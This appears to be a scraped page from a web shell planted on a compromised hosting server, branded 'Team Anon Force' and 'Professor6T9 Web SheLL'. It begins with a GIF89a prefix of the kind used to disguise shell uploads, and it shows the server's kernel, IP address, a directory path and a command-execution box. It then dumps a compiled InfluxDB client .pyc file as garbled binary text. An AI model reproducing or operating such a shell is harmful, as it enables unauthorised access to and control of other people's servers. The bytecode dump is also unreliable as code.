GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
proc
/
self
/
root
/
opt
/
alt
/
python38
/
lib
/
python3.8
/
site-packages
/
influxdb_client
/
client
/
__pycache__
[ HOME ]
Exec
Submit
tasks_api.cpython-38.pyc
U ܒi # � @ sh d Z ddlZddlmZ ddlmZmZmZmZm Z m Z mZmZm Z mZ ddlmZ G dd� de�ZdS )z� Process and analyze your data with tasks in the InfluxDB task engine. Use tasks (scheduled Flux queries) to input a data stream and then analyze, modify, and act on the data accordingly. � N)�List) �TasksService�Task�TaskCreateRequest�TaskUpdateRequest� LabelResponse�LabelMapping�AddResourceMemberRequestBody�RunManually�Run�LogEvent)� _Paginatedc @ s� e Zd ZdZdd� Zed�dd�Zdd� Zd d � ZdLee ed�d d�Z eeeeed�dd��Z ed�dd�Zeeeeed�dd�Zed�dd�Zeed�dd�Zeed�dd�Zeed�d d!�Zd"d#� Zeeed$�d%d&�Zeed'�d(d)�Zed�d*d+�Zd,d-� Zd.d/� Zd0d1� Zd2d3� Zd4d5� Zed6 d�d7d8�Z eee!d9�d:d;�Z"eeed< d9�d=d>�Z#dMee$d?�d@dA�Z%eedB�dCdD�Z&eedB�dEdF�Z'eed< dG�dHdI�Z(dJdK� Z)dS )N�TasksApiz,Implementation for '/api/v2/tasks' endpoint.c C s || _ t|j�| _dS )zInitialize defaults.N)Z_influxdb_clientr Z api_client�_service)�self�influxdb_client� r �Q/opt/alt/python38/lib/python3.8/site-packages/influxdb_client/client/tasks_api.py�__init__ s zTasksApi.__init__)�returnc C s | j �|�}|S )zRetrieve a task.)r Zget_tasks_id)r �task_id�taskr r r �find_task_by_id s zTasksApi.find_task_by_idc K s | j jf |�jS )a� List all tasks up to set limit (max 500). :key str name: only returns tasks with the specified name :key str after: returns tasks after specified ID :key str user: filter tasks to a specific user ID :key str org: filter tasks to a specific organization name :key str org_id: filter tasks to a specific organization ID :key int limit: the number of tasks to return :return: Tasks )r � get_tasks�tasks�r �kwargsr r r � find_tasks s zTasksApi.find_tasksc K s t | jjdd� �jf |�S )a� Iterate over all tasks with pagination. :key str name: only returns tasks with the specified name :key str after: returns tasks after specified ID :key str user: filter tasks to a specific user ID :key str org: filter tasks to a specific organization name :key str org_id: filter tasks to a specific organization ID :key int limit: the number of tasks in one page :return: Tasks iterator c S s | j S )N)r )�responser r r �<lambda>4 � z*TasksApi.find_tasks_iter.<locals>.<lambda>)r r r Z find_iterr r r r �find_tasks_iter) s zTasksApi.find_tasks_iterN)r �task_create_requestr c C sP |dk r| j �|�S |dk rDt|j|j|j|j|jd�}| j|d�S t d��dS )zCreate a new task.N)�flux�org_id�org�description�status)r"